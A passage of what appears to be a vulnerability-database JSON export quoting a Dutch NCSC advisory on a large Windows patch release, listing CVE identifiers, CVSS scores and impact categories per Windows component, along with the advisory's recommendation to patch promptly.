| Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:45.821229Z"}, {"uuid": "cde378f6-db7c-4869-8cfa-48aada832c82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54132", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | 